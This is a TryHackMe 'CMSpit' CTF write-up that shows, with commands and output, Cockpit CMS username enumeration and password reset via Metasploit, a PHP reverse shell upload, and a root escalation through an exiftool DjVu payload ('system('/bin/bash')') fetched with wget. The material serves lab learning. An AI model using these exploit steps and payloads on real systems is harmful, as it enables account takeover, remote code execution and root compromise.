/ TRYHACKME, CTF, MEDIUM

CMSpit Write Up

cover

Overview

cmspit is a medium rated CTF room on TryHackMe. This was a good machine highlighting recent CVE’s, thanks stuxnet.

Nmap

Although not required I added a entry in my hosts file with the machine IP to cmspit.thm. Once added I started a nmap scan to check for available ports.

└──╼ $sudo nmap -sC -sV -oA nmap/initial cmspit.thm
Starting Nmap 7.80 ( https://nmap.org ) at 2021-08-08 11:11 BST
Nmap scan report for cmspit.thm (10.10.34.218)
Host is up (0.035s latency).
Not shown: 998 closed ports
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 7f:25:f9:40:23:25:cd:29:8b:28:a9:d9:82:f5:49:e4 (RSA)
|   256 0a:f4:29:ed:55:43:19:e7:73:a7:09:79:30:a8:49:1b (ECDSA)
|_  256 2f:43:ad:a3:d1:5b:64:86:33:07:5d:94:f9:dc:a4:01 (ED25519)
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
| http-title: Authenticate Please!
|_Requested resource was /auth/login?to=/
|_http-trane-info: Problem with XML parsing of /evox/about
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 11.50 seconds

2 Ports open:

  • 22 - SSH - OpenSSH 7.2p2
  • 80 - HTTP - Apache 2.4.18

I ran a full port scan but no additional ports were found.

Enumeration

Clearly this is going to be a web challenge, while I poked around the website I wanted some enumeration going on in the background so started Gobuster and Nikto.

└──╼ $gobuster dir -u cmspit.thm -w /opt/SecLists/Discovery/Web-Content/raft-medium-directories-lowercase.txt 
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url:            http://cmspit.thm
[+] Threads:        10
[+] Wordlist:       /opt/SecLists/Discovery/Web-Content/raft-medium-directories-lowercase.txt
[+] Status codes:   200,204,301,302,307,401,403
[+] User Agent:     gobuster/3.0.1
[+] Timeout:        10s
===============================================================
2021/08/08 11:16:09 Starting gobuster
===============================================================
Error: the server returns a status code that matches the provided options for non existing urls. http://cmspit.thm/fbaebb24-03e7-4123-b75f-01915dfcbf6b => 302. To force processi
ng of Wildcard responses, specify the '--wildcard' switch

However is looks like all requests are being sent to ‘http://cmspit.thm/auth/login?to=/’

However, I did have some more luck with Nikto.

└──╼ $nikto -h cmspit.thm
- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP:          10.10.34.218
+ Target Hostname:    cmspit.thm
+ Target Port:        80
+ Start Time:         2021-08-08 11:18:16 (GMT1)
---------------------------------------------------------------------------
+ Server: Apache/2.4.18 (Ubuntu)
+ Cookie 8071dec2be26139e39a170762581c00f created without the httponly flag
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ Root page / redirects to: /auth/login?to=/
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ Apache/2.4.18 appears to be outdated (current is at least Apache/2.4.37). Apache 2.2.34 is the EOL for the 2.x branch.
+ OSVDB-3233: /icons/README: Apache default file found.
+ Retrieved access-control-allow-origin header: *
+ /server-status: Apache server-status interface found (protected/forbidden)
+ /composer.json: PHP Composer configuration file reveals configuration information - https://getcomposer.org/
+ /package.json: Node.js package file found. It may contain sensitive information.
+ 7789 requests: 3 error(s) and 10 item(s) reported on remote host
+ End Time:           2021-08-08 11:25:02 (GMT1) (406 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested

I went to http://cmspit.thm/ which redirected me to http://cmspit.thm/auth/login?to=/. I tried some basic username and password combinations but nothing worked.

homepage

From the logo and name on the authentication page, its clear we are working with Cockpit CMS. I checked the source code and found the version 0.11.1. This was also confirmed by going to http://cmspit.thm/package.json found via Nikto.

version

I googled ‘cockpit cms 0.11.1 exploit’ and found a great blog by Nikita Petrov, however im lazy and also found a metasploit module.

msf6 > search cockpit

Matching Modules
================

   #  Name                                Disclosure Date  Rank    Check  Description
   -  ----                                ---------------  ----    -----  -----------
   0  exploit/multi/http/cockpit_cms_rce  2021-04-13       normal  Yes    Cockpit CMS NoSQLi to RCE


Interact with a module by name or index. For example info 0, use 0 or use exploit/multi/http/cockpit_cms_rce

msf6 > 

I selected the module using the command ‘use 0’ and filled out the options.

msf6 exploit(multi/http/cockpit_cms_rce) > show options

Module options (exploit/multi/http/cockpit_cms_rce):

   Name        Current Setting  Required  Description
   ----        ---------------  --------  -----------
   ENUM_USERS  true             no        Enumerate users
   Proxies                      no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS      cmspit.thm       yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT       80               yes       The target port (TCP)
   SSL         false            no        Negotiate SSL/TLS for outgoing connections
   TARGETURI   /                yes       The URI of Cockpit
   USER                         no        User account to take over
   VHOST                        no        HTTP server virtual host


Payload options (php/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  tun0             yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Automatic Target


msf6 exploit(multi/http/cockpit_cms_rce) > 

I ran the module and was able to find 4 users, however the module then failed as a user was required.

msf6 exploit(multi/http/cockpit_cms_rce) > run

[*] Started reverse TCP handler on <Local Machine>:4444 
[*] Attempting Username Enumeration (CVE-2020-35846)
[+]   Found users: ["admin", "darkStar7471", "skidy", "ekoparty"]
[-] Exploit aborted due to failure: bad-config: cmspit.thm:80 - User to exploit required
[*] Exploit completed, but no session was created.
msf6 exploit(multi/http/cockpit_cms_rce) > 

I set user to admin and ran the module again.

msf6 exploit(multi/http/cockpit_cms_rce) > set user admin
user => admin
msf6 exploit(multi/http/cockpit_cms_rce) > run

[*] Started reverse TCP handler on <Local Machine>:4444 
[*] Attempting Username Enumeration (CVE-2020-35846)
[+]   Found users: ["admin", "darkStar7471", "skidy", "ekoparty"]
[*] Obtaining reset tokens (CVE-2020-35847)
[+]   Found tokens: ["rp-d72d501f6207ac757ac3cb114d1a0a4760a88abe28f23"]
[*] Checking token: rp-d72d501f6207ac757ac3cb114d1a0a4760a88abe28f23
[*] Obtaining user info
[*]   user: admin
[*]   name: Admin
[*]   email: admin@yourdomain.de
[*]   active: true
[*]   group: admin
[*]   password: <REDACTED>
[*]   i18n: en
[*]   _created: 1621655201
[*]   _modified: 1621655201
[*]   _id: 60a87ea165343539ee000300
[*]   _reset_token: rp-d72d501f6207ac757ac3cb114d1a0a4760a88abe28f23
[*]   md5email: a11eea8bf873a483db461bb169beccec
[+] Changing password to <REDACTED>
[+] Password update successful
[*] Attempting login
[-] Exploit failed: ArgumentError wrong number of arguments (given 3, expected 1..2)
[*] Exploit completed, but no session was created.
msf6 exploit(multi/http/cockpit_cms_rce) > 

The exploit failed again however it was able to change the admin password. I went back to the login page and was able to log in as admin.

loggedin

Initial Access

In the blog post, RCE was possible by uploading a PHP script via the finder directory so I went to cmspit.thm/finder

I copied a PHP reverse shell script to my directory.

└──╼ $cp /usr/share/webshells/php/php-reverse-shell.php .
┌─[daz@parrot]─[~/Documents/TryHackMe/CMSpit]
└──╼ $mv php-reverse-shell.php shell.php
┌─[daz@parrot]─[~/Documents/TryHackMe/CMSpit]

I updated the script with my tun0 IP and port of 4444 and started a nc listener with the command nc -nvlp 4444. On the webpage I clicked the upload button and selected my shell.php file.

Now going to ‘http://cmspit.thm/shell.php’ I get a shell!

Priv Esc

Now I have a shell as www-data I want to escalate my privileges. I enumerated the machine and noticed Mongodb was listening on TCP port 27017.

Proto Recv-Q Send-Q Local Address           Foreign Address         State       Timer                  
tcp        0      0 127.0.0.1:27017         0.0.0.0:*               LISTEN      off (0.00/0/0)         
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      off (0.00/0/0)              
tcp6       0      0 :::80                   :::*                    LISTEN      off (0.00/0/0)         
tcp6       0      0 :::22                   :::*                    LISTEN      off (0.00/0/0)               

I connected to the mongodb service and was able to find the credentials for the user ‘stux’.

$ mongo 127.0.0.1:27017
MongoDB shell version: 2.6.10
connecting to: 127.0.0.1:27017/test
show dbs
admin         (empty)
local         0.078GB
sudousersbak  0.078GB
use sudousersbak
show collections
switched to db sudousersbak
flag
system.indexes
user
db.user.find()
{ "_id" : ObjectId("60a89d0caadffb0ea68915f9"), "name" : "<REDACTED>" }
{ "_id" : ObjectId("60a89dfbaadffb0ea68915fa"), "name" : "stux" }

I used the credentials to SSH to the machine and ran the command ‘sudo -l’.

└──╼ $ssh stux@cmspit.thm
stux@cmspit.thm's password: 
Welcome to Ubuntu 16.04.7 LTS (GNU/Linux 4.4.0-210-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage
Last login: Sat May 22 19:41:38 2021 from 192.168.85.1
stux@ubuntu:~$ sudo -l
Matching Defaults entries for stux on ubuntu:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User stux may run the following commands on ubuntu:
    (root) NOPASSWD: /usr/local/bin/exiftool
stux@ubuntu:~$ 

The user stux can run the command /usr/local/bin/exiftool as root with out the root password. Normally, I would now go to GTFObins to look for a priv esc, however the room questions indicate a CVE vulnerability so I googled ‘exiftools CVE’ and found this blog.

In the blog it details the steps of how to exploit the vulnerability which is:

$ sudo apt install djvulibre-bin

$ bzz payload payload.bzz

$ djvumake exploit.djvu INFO=’1,1’ BGjp=/dev/null ANTz=payload.bzz

Back on my local machine, I created a payload file with the following contents (metadata "\c${system('/bin/bash')};"), then followed the steps above.

┌─[daz@parrot]─[~/Documents/TryHackMe/CMSpit]
└──╼ $cat payload
(metadata "\c${system('/bin/bash')};")
┌─[daz@parrot]─[~/Documents/TryHackMe/CMSpit]
└──╼ $sudo apt install djvulibre-bin
Reading package lists... Done
Building dependency tree       
Reading state information... Done
djvulibre-bin is already the newest version (3.5.28-2).
The following packages were automatically installed and are no longer required:
  gdal-data libaec0 libarmadillo9 libarpack2 libboost-locale1.67.0 libcfitsio8 libcharls2 libdap25 libdapclient6v5 libepsilon1 libfreexl1 libfyba0 libgdal26 libgeos-3.8.1
  libgeos-c1v5 libgeotiff5 libgfapi0 libgfrpc0 libgfxdr0 libglusterfs0 libhdf4-0-alt libhdf5-103 libkmlbase1 libkmldom1 libkmlengine1 libnetcdf15 libogdi4.1 liborcus-0.15-0
  liborcus-parser-0.15-0 libproj19 libpython3.7-minimal libpython3.7-stdlib libpython3.8-dev libqhull7 libspatialite7 libsuperlu5 libsz2 liburiparser1 libxerces-c3.2 odbcinst
  odbcinst1debian2 proj-bin proj-data python3-gridfs python3.7 python3.7-minimal python3.8-dev
Use 'sudo apt autoremove' to remove them.
0 upgraded, 0 newly installed, 0 to remove and 2541 not upgraded.
┌─[daz@parrot]─[~/Documents/TryHackMe/CMSpit]
└──╼ $bzz payload payload.bzz
┌─[daz@parrot]─[~/Documents/TryHackMe/CMSpit]
└──╼ $djvumake exploit.djvu INFO='1,1' BGjp=/dev/null ANTz=payload.bzz
┌─[daz@parrot]─[~/Documents/TryHackMe/CMSpit]
└──╼ $ls -la exploit.djvu 
-rw-r--r-- 1 daz daz 92 Aug  8 12:13 exploit.djvu
┌─[daz@parrot]─[~/Documents/TryHackMe/CMSpit]
└──╼ $

Finaly I started a Python webserver with the command sudo python3 -m http.server 80. Next back on cmspit machine I downloaded the exploit.djvu file with wget and ran the exif tool as sudo against the exploit file and got root!

stux@ubuntu:~$ wget http://<Local Machine>/exploit.djvu
--2021-08-08 04:16:42--  http://<Local Machine>/exploit.djvu
Connecting to <Local Machine>:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 92 [image/vnd.djvu]
Saving to: ‘exploit.djvu’

exploit.djvu                                 100%[===========================================================================================>]      92  --.-KB/s    in 0s

2021-08-08 04:16:42 (17.8 MB/s) - ‘exploit.djvu’ saved [92/92]

stux@ubuntu:~$ sudo /usr/local/bin/exiftool exploit.djvu 
root@ubuntu:~# whoami
root
root@ubuntu:~# hostname

Thanks for reading!

============================================================

Any comments or feedback welcome! You can find me on twitter.

Buy Me A Coffee